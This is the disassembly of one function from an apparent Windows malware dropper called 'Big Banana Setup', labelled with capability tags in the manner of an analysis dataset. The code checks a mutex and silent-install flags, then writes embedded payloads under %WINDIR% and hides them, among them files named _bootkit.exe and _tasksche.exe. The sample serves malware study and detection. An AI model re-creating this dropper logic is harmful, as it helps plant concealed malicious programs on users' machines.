Function at 0x140001220
Capabilities:
Check mutex on windows
Create directory
Query environment variable
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
mov eax, 0x1230
call fcn.14000c2f0
sub rsp, rax
mov rax, qword [0x140017008]
xor rax, rsp
mov qword [rsp + 0x1220], rax
mov rbx, rdx
lea r8, str.Big_Banana_Setup_114514_1919810
mov esi, ecx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140001283
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xb7
jmp 0x14000173c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r9d, 0x400
lea r8, [rsp + 0x220]
mov rcx, rax
mov edx, 0x66
call qword [sym.imp.USER32.dll_LoadStringW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r9d, 0x400
lea r8, [rsp + 0xa20]
mov rcx, rax
mov edx, 0x67
call qword [sym.imp.USER32.dll_LoadStringW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r9d, 0x100
lea r8, [rsp + 0x20]
mov rcx, rax
mov edx, 0x68
call qword [sym.imp.USER32.dll_LoadStringW]
mov r8d, 0x104
lea rdx, [0x1400190a0]
lea rcx, str.WINDIR
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea r8, [0x1400190a0]
mov edx, 0x104
lea rcx, [0x1400194c0]
call fcn.140003608
lea r8, str.BigBanna
mov edx, 0x104
lea rcx, [0x1400194c0]
call fcn.140003670
lea r8, [0x1400194c0]
mov edx, 0x104
lea rcx, [0x140018c80]
call fcn.140003608
lea r8, str.Banana.bmp
mov edx, 0x104
lea rcx, [0x140018c80]
call fcn.140003670
lea r8, [0x1400194c0]
mov edx, 0x104
lea rcx, [0x140019d00]
call fcn.140003608
lea r8, str.Banana.exe
mov edx, 0x104
lea rcx, [0x140019d00]
call fcn.140003670
lea r8, [0x1400194c0]
mov edx, 0x104
lea rcx, [0x1400192b0]
call fcn.140003608
lea r8, str.Banana.gif
mov edx, 0x104
lea rcx, [0x1400192b0]
call fcn.140003670
lea r8, [0x1400194c0]
mov edx, 0x104
lea rcx, [0x1400196d0]
call fcn.140003608
lea r8, str.Bananaf.exe
mov edx, 0x104
lea rcx, [0x1400196d0]
call fcn.140003670
lea r8, [0x1400194c0]
mov edx, 0x104
lea rcx, [0x1400198e0]
call fcn.140003608
lea r8, str._bgm.wav
mov edx, 0x104
lea rcx, [0x1400198e0]
call fcn.140003670
lea r8, [0x1400194c0]
mov edx, 0x104
lea rcx, [0x140018a70]
call fcn.140003608
lea r8, str._bootkit.exe
mov edx, 0x104
lea rcx, [0x140018a70]
call fcn.140003670
lea r8, [0x1400194c0]
mov edx, 0x104
lea rcx, [0x140019af0]
call fcn.140003608
lea r8, str.main.exe
mov edx, 0x104
lea rcx, [0x140019af0]
call fcn.140003670
lea r8, [0x1400194c0]
mov edx, 0x104
lea rcx, [0x140018e90]
call fcn.140003608
lea r8, str._tasksche.exe
mov edx, 0x104
lea rcx, [0x140018e90]
call fcn.140003670
cmp esi, 1
jle 0x1400015d3
mov rcx, qword [rbx + 8]
lea rdx, [0x14001487c]
call fcn.1400037bc
test eax, eax
je 0x14000161b
mov rcx, qword [rbx + 8]
lea rdx, str._SILENT
call fcn.1400037bc
test eax, eax
je 0x14000161b
mov rcx, qword [rbx + 8]
lea rdx, [0x140014888]
call fcn.1400037bc
test eax, eax
je 0x14000161b
mov rcx, qword [rbx + 8]
lea rdx, str.__SILENT
call fcn.1400037bc
test eax, eax
je 0x14000161b
mov rcx, qword [rbx + 8]
lea rdx, [0x14001489c]
call fcn.1400037bc
test eax, eax
je 0x14000161b
mov rcx, qword [rbx + 8]
lea rdx, str.SILENT
call fcn.1400037bc
test eax, eax
je 0x14000161b
mov rcx, qword [rbx + 8]
lea rdx, [0x1400148a8]
call fcn.1400037bc
test eax, eax
je 0x14000161b
mov rcx, qword [rbx + 8]
lea rdx, str._QUIET
call fcn.1400037bc
test eax, eax
je 0x14000161b
mov rcx, qword [rbx + 8]
lea rdx, [0x1400148b4]
call fcn.1400037bc
test eax, eax
je 0x14000161b
mov rcx, qword [rbx + 8]
lea rdx, str.__QUIET
call fcn.1400037bc
test eax, eax
je 0x14000161b
mov rcx, qword [rbx + 8]
lea rdx, [0x1400148c0]
call fcn.1400037bc
test eax, eax
je 0x14000161b
mov rcx, qword [rbx + 8]
lea rdx, str.QUIET
call fcn.1400037bc
test eax, eax
je 0x14000161b
mov r9d, 0x134
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x220]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 6
jne 0x140001737
mov r9d, 0x134
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0xa20]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 6
jne 0x140001737
xor edx, edx
lea rcx, [0x1400194c0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov edx, 6
lea rcx, [0x1400194c0]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea r8, [0x140018c80]
lea rcx, str.BANANABMP
call section..text
lea r8, [0x140019d00]
lea rcx, str.BANANAEXE
call section..text
mov edx, 6
lea rcx, [0x140019d00]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea r8, [0x1400192b0]
lea rcx, str.BANANAGIF
call section..text
lea r8, [0x1400196d0]
lea rcx, str.BANANAFEXE
call section..text
mov edx, 6
lea rcx, [0x1400196d0]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea r8, [0x1400198e0]
lea rcx, str.BGMWAV
call section..text
lea r8, [0x140018a70]
lea rcx, str.BOOTKITEXE
call section..text
mov edx, 6
lea rcx, [0x140018a70]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea r8, [0x140019af0]
lea rcx, str.MAINEXE
call section..text
mov edx, 6
lea rcx, [0x140019af0]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea r8, [0x140018e90]
lea rcx, str.TASKSCHEEXE
call section..text
mov edx, 6
lea rcx, [0x140018e90]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
call fcn.140001120
xor eax, eax
jmp 0x14000173c
mov eax, 5
mov rcx, qword [rsp + 0x1220]
xor rcx, rsp
call fcn.140001780
lea r11, [rsp + 0x1230]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret